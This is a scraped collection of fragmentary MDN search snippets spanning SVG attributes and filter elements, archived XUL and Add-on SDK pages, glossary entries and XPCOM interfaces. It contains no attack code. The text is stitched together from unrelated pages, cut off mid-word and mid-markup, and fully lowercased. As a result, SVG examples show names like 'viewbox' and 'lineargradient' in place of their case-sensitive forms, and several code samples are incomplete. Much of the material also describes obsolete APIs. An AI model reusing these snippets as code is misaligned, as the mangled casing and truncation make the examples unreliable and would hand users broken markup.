... legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-miterlimit' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-miterlimit' in that specification.
stroke-opacity - SVG: Scalable Vector Graphics
note: as a presentation attribute stroke-opacity can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <path>, <line>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 40 10" xmlns="http://www.w3.org/2000/svg"> <!-- default stroke opacity: 1 --> <circle cx="5" cy="5" r="4" stroke="green" /> <!-- stroke opacity as a number --> <circle cx="15" cy="5" r="4" stroke="green" stroke-opacity="0.7" /> <!-- stroke opacity as a percentage --> <circle cx="25" cy="5" r="4" stroke="green" stroke-opacity="50%" /> <!-- stroke opacity as a css property --> <circle cx="35" cy="5" r="4" stroke="green" style="stroke-opacity: .3;" /> </svg>...
... legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-opacity' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-opacity' in that specification.
style - SVG: Scalable Vector Graphics
WebSVGAttributestyle
it functions identically to the style attribute in html.
... html,body,svg { height:100% } <svg viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <rect width="80" height="40" x="10" y="10" style="fill: skyblue; stroke: cadetblue; stroke-width: 2;"/> </svg> usage notes value <style> default value none animatable no <style> the syntax of style data depends on the style sheet language.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'style' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'style' in that specification.
tableValues - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="table" tablevalues="0 1"/> <fefuncg type="table" tablevalues...
...each number can be between 0 and 1.
... specifications specification status comment filter effects module level 1the definition of 'tablevalues' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'tablevalues' in that specification.
targetY - SVG: Scalable Vector Graphics
WebSVGAttributetargetY
the targety attribute determines the positioning in vertical direction of the convolution matrix relative to a given target pixel in the input image.
... only one element is using this attribute: <feconvolvematrix> usage notes value <integer> default value floor(ordery / 2) animatable yes <integer> this value indicates the positioning in vertical direction of the convolution matrix relative to a given target pixel in the input image.
... specifications specification status comment filter effects module level 1the definition of 'targety' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'targety' in that specification.
unicode-bidi - SVG: Scalable Vector Graphics
note: as a presentation attribute, unicode-bidi can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eleven elements: <altglyph>, <textpath>, <text>, <tref>, and <tspan> context notes value normal | embed | isolate | bidi-override | isolate-override | plaintext default value normal animatable no for a description of the values, please refer to the css unicode-bidi property.
... specifications specification status comment css writing modes module level 3the definition of 'unicode-bidi' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'unicode-bidi' in that specification.
word-spacing - SVG: Scalable Vector Graphics
note: as a presentation attribute, word-spacing can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" word-spacing="2">bigger spacing between words</text> <text x="0" y="40" word-spacing="-0.5">smaller spacing between words</text> </svg> usage notes value normal | <length> animatable yes default values normal for a description of the values, please refer to the css letter-spacing property.
... specifications specification status comment css text module level 3the definition of 'word-spacing' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'word-spacing' in that specification.
x1 - SVG: Scalable Vector Graphics
WebSVGAttributex1
<rect x="1" y="1" width="8" height="8" fill="url(#g0)" /> <!-- here the gradient vector start at 80% of the left bounding limit of the shape it is applied to --> <lineargradient x1="80%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'x1' in that specification.
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'x1' in that specification.
... candidate recommendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x1' in that specification.
... recommendation initial definition for <line> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x1' in that specification.
x2 - SVG: Scalable Vector Graphics
WebSVGAttributex2
<rect x="1" y="1" width="8" height="8" fill="url(#g0)" /> <!-- here the gradient vector start at 20% of the left bounding limit of the shape it is applied to --> <lineargradient x2="20%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'x2' in that specification.
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'x2' in that specification.
... candidate recommendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x2' in that specification.
... recommendation initial definition for <line> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x2' in that specification.
xChannelSelector - SVG: Scalable Vector Graphics
the xchannelselector attribute indicates which color channel from in2 to use to displace the pixels in in along the x-axis.
... only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" xchannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" xchannelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="url(#displacementfilter)">...
... specifications specification status comment filter effects module level 1the definition of 'xchannelselector' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'xchannelselector' in that specification.
y1 - SVG: Scalable Vector Graphics
WebSVGAttributey1
--> <lineargradient y1="100%" id="g1"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'y1' in that specification.
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'y1' in that specification.
... candidate recommendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'y1' in that specification.
... recommendation initial definition for <line> scalable vector graphics (svg) 1.1 (second edition)the definition of 'y1' in that specification.
y2 - SVG: Scalable Vector Graphics
WebSVGAttributey2
--> <lineargradient y2="100%" id="g1"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'y2' in that specification.
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'y2' in that specification.
... candidate recommendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'y2' in that specification.
... recommendation initial definition for <line> scalable vector graphics (svg) 1.1 (second edition)the definition of 'y2' in that specification.
yChannelSelector - SVG: Scalable Vector Graphics
the ychannelselector attribute indicates which color channel from in2 to use to displace the pixels in in along the y-axis.
... only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" ychannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" ychannelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="url(#displacementfilter)">...
... specifications specification status comment filter effects module level 1the definition of 'ychannelselector' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'ychannelselector' in that specification.
<animateMotion> - SVG: Scalable Vector Graphics
; margin: 0; padding: 0; display:block; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="lightgrey" d="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> <circle r="5" fill="red"> <animatemotion dur="10s" repeatcount="indefinite" path="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> </circle> </svg> usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<mpath> attributes keypoints this attribute indicate, in the range [0,1], how far is the object along the path for each keytimes associated values.
... value type: <number>|auto|auto-reverse; default value: 0; animatable: no note: for <animatemotion> the default value for the calcmode attribute is paced animation attributes animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by other animation attributes most notably: attributename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes co...
... specifications specification status comment svg animations level 2the definition of '<animatemotion>' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatemotion>' in that specification.
<animateTransform> - SVG: Scalable Vector Graphics
the animatetransform element animates a transformation attribute on its target element, thereby allowing animations to control translation, scaling, rotation, and/or skewing.
... usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <polygon points="60,30 90,90 30,90"> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0 60 70" to="360 60 70" dur="10s" repeatcount="indefinite"/> </polygon> </svg> live sample attributes global attributes conditional processing attributes » core attributes » animation event attributes » xlink attributes » animation attribute target attribu...
... specifications specification status comment svg animations level 2the definition of '<animatetransform>' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatetransform>' in that specification.
<circle> - SVG: Scalable Vector Graphics
WebSVGElementcircle
value type: <number> ; default value: none; animatable: yes note: starting with svg2, cx, cy, and r are geometry properties, meaning those attributes can also be used as css properties for that element.
... global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current...
..., aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<circle>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<circle>' in that specification.
<clipPath> - SVG: Scalable Vector Graphics
WebSVGElementclipPath
a clipping path restricts the region to which paint can be applied.
...e; animatable: yes global attributes core attributes most notably: id styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage presentation attributes most notably: clip-path, clip-rule, color, display, fill, fill-opacity, fill-rule, filter, mask, opacity, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elements<text>, <use> specifications specification status comment css masking module level 1the definition of '<clippath>' ...
...in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<clippath>' in that specification.
<feConvolveMatrix> - SVG: Scalable Vector Graphics
a wide variety of imaging operations can be achieved through convolutions, including blurring, edge detection, sharpening, embossing and beveling.
...assuming the simplest case (where the input image's pixel grid aligns perfectly with the kernel's pixel grid) and assuming default values for attributes ‘divisor’, ‘targetx’ and ‘targety’, then resulting color value will be: (9* 0 + 8* 20 + 7* 40 + 6*100 + 5*120 + 4*140 + 3*200 + 2*220 + 1*240) / (9+8+7+6+5+4+3+2+1) usage context categoriesfilter primitive elementpermitted contentany number of the follo...
...ns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="emboss"> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -3"/> </filter> </defs> <image xlink:href="/files/12668/mdn.svg" x="0" y="0" height="200" width="200" style="filter:url(#emboss);" /> </svg> result specifications specification status comment filter effects module level 1the definition of '<feconvolvematrix>' in that specification.
... working draft scalable vector graphics (svg) 1.1 (second edition)the definition of '<feconvolvematrix>' in that specification.
<feDisplacementMap> - SVG: Scalable Vector Graphics
the formula for the transformation looks like this: p'(x,y) ← p( x + scale * (xc(x,y) - 0.5), y + scale * (yc(x,y) - 0.5)) where p(x,y) is the input image, in, and p'(x,y) is the destination.
... usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in in2 scale xchannelselector ychannelselector dom interface this element implements the svgfedisplacementmapelement interface.
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<fedisplacementmap>' in that specification.
... working draft no changes scalable vector graphics (svg) 1.1 (second edition)the definition of '<fedisplacementmap>' in that specification.
<feDistantLight> - SVG: Scalable Vector Graphics
the <fedistantlight> filter primitive defines a distant light source that can be used within a lighting filter primitive: <fediffuselighting> or <fespecularlighting>.
... usage context categorieslight source elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes specific attributes azimuth elevation dom interface this element implements the svgfedistantlightelement interface.
... specifications specification status comment filter effects module level 1the definition of '<fedistantlight>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fedistantlight>' in that specification.
<feImage> - SVG: Scalable Vector Graphics
WebSVGElementfeImage
the <feimage> svg filter primitive fetches image data from an external source and provides the pixel data as output (meaning if the external source is an svg image, it is rasterized.) usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <animatetransform>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes xlink attributes class style externalresourcesrequired specific attributes preserveaspectratio xlink:href dom interface this element implements the svgfeimageelement interface.
... example svg <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="image"> <feimage xlink:href="/files/6457/mdn_logo_only_color.png"/> </filter> </defs> <rect x="10%" y="10%" width="80%" height="80%" style="filter:url(#image);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feimage>' in that specification.
... working draft added href attribute and deprecated xlink:href.
... scalable vector graphics (svg) 1.1 (second edition)the definition of '<feimage>' in that specification.
<feMorphology> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in operator radius dom interface this element implements the svgfemorphologyelement interface.
..."http://www.w3.org/2000/svg" width="300" height="180"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> <text y="1em">normal text</text> <text id="thin" y="2em">thinned text</text> <text id="thick" y="3em">fattened text</text> </svg> css text { font-family: arial, helvetica, sans-serif; font-size: 3em; } #thin { filter: url(#erode); } #thick { filter: url(#dilate); } filtering html content svg <svg xmlns="http://www.w3.org/2000/svg" width="0" height="0"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> </svg> <p>normal text</p> <p id="th...
...in">thinned text</p> <p id="thick">fattened text</p> css p { margin: 0; font-family: arial, helvetica, sans-serif; font-size: 3em; } #thin { filter: url(#erode); } #thick { filter: url(#dilate); } specifications specification status comment filter effects module level 1the definition of '<femorphology>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<femorphology>' in that specification.
<fePointLight> - SVG: Scalable Vector Graphics
it that can be used within a lighting filter primitive: <fediffuselighting> or <fespecularlighting>.
... usage context categorieslight source elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes specific attributes x y z dom interface this element implements the svgfepointlightelement interface.
...ghting-color="#fff"> <fepointlight x="50" y="50" z="220"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fepointlight>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fepointlight>' in that specification.
<feSpotLight> - SVG: Scalable Vector Graphics
it that can be used within a lighting filter primitive: <fediffuselighting> or <fespecularlighting>.
... usage context categorieslight source elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes specific attributes x y z pointsatx pointsaty pointsatz specularexponent limitingconeangle dom interface this element implements the svgfespotlightelement interface.
...> <fespotlight x="600" y="600" z="400" limitingconeangle="5.5" /> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operator="out" k1="0" k2="1" k3="1" k4="0"/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fespotlight>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fespotlight>' in that specification.
<polyline> - SVG: Scalable Vector Graphics
WebSVGElementpolyline
typically a polyline is used to create open shapes as the last point doesn't have to be connected to the first point.
... value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria ...
..., aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<polyline>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<polyline>' in that specification.
<set> - SVG: Scalable Vector Graphics
WebSVGElementset
it supports all attribute types, including those that cannot reasonably be interpolated, such as string and boolean values.
... for attributes that can be reasonably be interpolated, the <animate> is usualy prefered.
...mation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill other animation attributes most notably: attributename animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements specifications specification status comment svg animations level 2the definition of '<set>' in that specification.
... editor's draft scalable vector graphics (svg) 1.1 (second edition)the definition of '<set>' in that specification.
<stop> - SVG: Scalable Vector Graphics
WebSVGElementstop
it can be used as a css property.
...it can be used as a css property.
... value type: <opacity>; default value: 1; animatable: yes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes presentation attributes most notably: color, display, stop-color, stop-opacity, visibility usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:<animate>, <animatecolor>, <set> specifications specification status comment scalable vector graphics (svg) 2the definition of '<stop>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<stop>' in that specification.
SVG Filters Tutorial - SVG: Scalable Vector Graphics
between the filter tags, we can define the primitives that allow us to implement the desired effect.
...the keyword sourcealpha identifies the input for this primitive, is in this case input 'in'.
...by adding feoffset and result, the effect layer is defined <result> attribute is a reference that can be use later.
... it is quite different to an xml id and only can be referenced within the actual filter.
Communicating using "postMessage" - Archive of obsolete content
in most cases port is preferable to message events.
...to simplify this most content modules provide an onmessage property as an argument to the constructor: panel = require("sdk/panel").panel({ onmessage: function(contentscriptmessage) { // handle message from the content script } }); message events versus user-defined events you can use message events as an alternative to user-defined events: var pagemodscript = "window.addeventlistener('mouseover', function(event) {" + " self.postmessage(event.target.tostring());" + "}, false);"; var pagemod = require('sdk/page-mod').pagemod({ include: ['*'], contentscript: pagemodscript, onattach: function(worker) { worker.on('message',...
...elf.postmessage({" + " kind: 'mouseout'," + " element: event.target.tostring()" + " });" + " }, false);" var pagemod = require('sdk/page-mod').pagemod({ include: ['*'], contentscript: pagemodscript, onattach: function(worker) { worker.on('message', function(message) { switch(message.kind) { case 'mouseover': console.log('mouseover: ' + message.element); break; case 'mouseout': console.log('mouseout: ' + message.element); break; } }); } }); implementing the same add-on with user-defined events is shorter and more readable: var pagemodscript = "window.addeventlistener('mouseover', function(event) {" + " self.port.e...
broadcast - Archive of obsolete content
the broadcast event is executed when the attributes of the element (such as a broadcaster) being listened to are changed.
... general info specification xul interface event bubbles no cancelable no target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean whether the event is cancellable or not.
How to Quit a XUL Application - Archive of obsolete content
script can attempt to quit a xul application, or force the application to quit, using the nsiappstartup interface.
... getservice(components.interfaces.nsiappstartup); // eattemptquit will try to close each xul window, but the xul window can cancel the quit // process if there is unsaved data.
...components.interfaces.nsiappstartup.eforcequit : components.interfaces.nsiappstartup.eattemptquit; appstartup.quit(quitseverity); } </script> calling this function if there is an uncaught exception, to force the application to quit: <script> try { dosomething(); } catch (e) { quit(true); } </script> the "quit" menuitem should typically prompt the user if there is unsaved data: <menuitem label="quit" oncommand="quit(false);"/> ...
canAdvance - Archive of obsolete content
« xul reference canadvance type: boolean this property is set to true if the user can press the next button to go to the next page.
... if this property is false, the user cannot navigate to the next page.
... set this property to true to indicate that the user can go to the next page.
canRewind - Archive of obsolete content
« xul reference canrewind type: boolean this property is set to true if the user can press the back button to go to the previous page.
... if this property is false, the user cannot navigate to the previous page.
... set this property to true to indicate that the user can go back a page.
broadcasterset - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a container element for broadcaster elements.
... the broadcasterset and its descendants are not displayed.
... examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controlle...
Samples and Test Cases - Archive of obsolete content
npapi plugin samples collections of npapi plugin samples can be found in the seamonkey source code at /modules/plugin/sdk/samples.
...however, even if one cannot build the samples they can still be very valuable as code references.
... spy tester npapi plugin test cases mozilla.org qa plugins testcases mozilla.org qa oji testcases plugins verification testing checklist (including smoketesting) ...
Canvas - MDN Web Docs Glossary: Definitions of Web-related terms
the canvas element is part of html5 and allows for dynamic, scriptable rendering of 2d and 3d shapes and bitmap images.
...it provides an empty graphic zone on which specific javascript apis can draw (such as canvas 2d or webgl).
... learn more general knowledge canvas on wikipedia learning resources the canvas tutorial on mdn technical information the html <canvas> element on mdn the canvas general documentation on mdn canvasrenderingcontext2d: the canvas 2d drawing api the canvas 2d api specification ...
Encapsulation - MDN Web Docs Glossary: Definitions of Web-related terms
encapsulation is the packing of data and functions into one component (for example, a class) and then controlling access to that component to make a "blackbox" out of the object.
... because of this, a user of that class only needs to know its interface (that is, the data and functions exposed outside the class), not the hidden implementation.
... learn more general knowledge encapsulation on wikipedia ...
Localization - MDN Web Docs Glossary: Definitions of Web-related terms
localization (l10n) is the process of adapting a software user interface to a specific culture.
... the following are common factors to consider: language unit of measure (e.g., kilometers in europe, miles in u.s.) text direction (e.g., european languages are left-to-right, arabic right-to-left) capitalization in latin script (e.g., english uses capitals for weekdays, spanish uses lowercase) adaptation of idioms (e.g., "raining cats and dogs" makes no sense when translated literally) use of register (e.g., in japanese respectful speech differs exceptionally from casual speech) number format (e.g., 10 000,00 in germany vs.
... 10,000.00 in the u.s.) date format currency cultural references paper size color psychology compliance with local laws local holidays personal names learn more general knowledge localization at mozilla on mdn localization on wikipedia ...
Specification - MDN Web Docs Glossary: Definitions of Web-related terms
a specification is a document that lays out in detail what functionality or attributes a product must include before delivery.
... in the context of describing the web, the term "specification" (often shortened to simply "spec") generally means a document describing a language, technology, or api which makes up the complete set of open web technologies.
... learn more general knowledge specification on wikipedia technical reference open web platform specifications ...
smartcard-insert
the smartcard-insert event is fired when the insertion of a smart card has been detected specification mozilla specific interface event bubbles no cancelable no target document default action none properties property type description targetread only eventtarget the event target (the topmost target in the dom tree).
... cancelableread only boolean whether the event is cancellable or not.
... example document.addeventlistener("smartcard-insert", smartcardchangehandler ); related events smartcard-remove ...
Localization prerequisites
to work on localization, you need a subset of the mozilla build prerequisites.
...you can try one of these: notepad++ or notepad2 on windows, vim, gedit or kate on gnu/linux, bbedit on mac os x.
...linux users should know, on the mac, you find terminal in applications/utilities.
browser.pagethumbnails.capturing_disabled
the preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.
... type:boolean default value:true exists by default: no application support: firefox 14.0 status: active; last updated 2012-09-17 introduction: pushed to nightly on 2012-04-13 bugs: bug 726347 values false the application creates screenshots of visited web pages.
... true (default) the application doesn't create screenshots of visited web pages.
PR_CALLBACK
used to define pointers to functions that will be implemented by the client but called from a (different) shared library.
... syntax #include <prtypes.h>type pr_callbackimplementation description functions that are implemented in an application (or shared library) that are intended to be called from another shared library (such as nspr) must be declared with the pr_callback attribute.
...the pr_callback attribute is included as part of the function's definition between its return value type and the function's name.
mozIStorageCompletionCallback
this interface should be implemented to handle callbacks from asynchronous storage api routines.
... storage/public/mozistoragecompletioncallback.idlscriptable please add a summary to this article.
... last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports method overview void complete(); methods complete() called when an asynchronous storage routine has completed.
nsICancelable
netwerk/base/public/nsicancelable.idlscriptable this interface provides a means to cancel an operation that is in progress.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void cancel(in nsresult areason); methods cancel() call this method to request that this object abort whatever operation it may be performing.
... void cancel( in nsresult areason ); parameters areason a failure code indicating why the operation is being canceled.
nsIDOMGeoPositionErrorCallback
the nsidomgeopositionerrorcallback interface is used to represent an object that receives callback notifications when geolocation errors occur.
... dom/interfaces/geolocation/nsidomgeopositionerrorcallback.idlscriptable please add a summary to this article.
... last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void handleevent(in nsidomgeopositionerror position); methods handleevent() called to handle a geolocation error.
nsIDOMNavigatorDesktopNotification
dom/interfaces/notification/nsidomnavigatordesktopnotification.idlscriptable property that extends the navigator object.
...attributes attribute type description moznotification nsidomdesktopnotificationcenter read only.
... see also nsidomdesktopnotificationcenter ...
nsITimerCallback
xpcom/threads/nsitimer.idlscriptable defines the callback interface for nsitimer events.
...this version takes a function to call and a closure to pass to that function.
... void notify( in nsitimer timer ); parameters timer nsitimer the timer which has expired see also nsitimer nsitimercallbackfunc ...
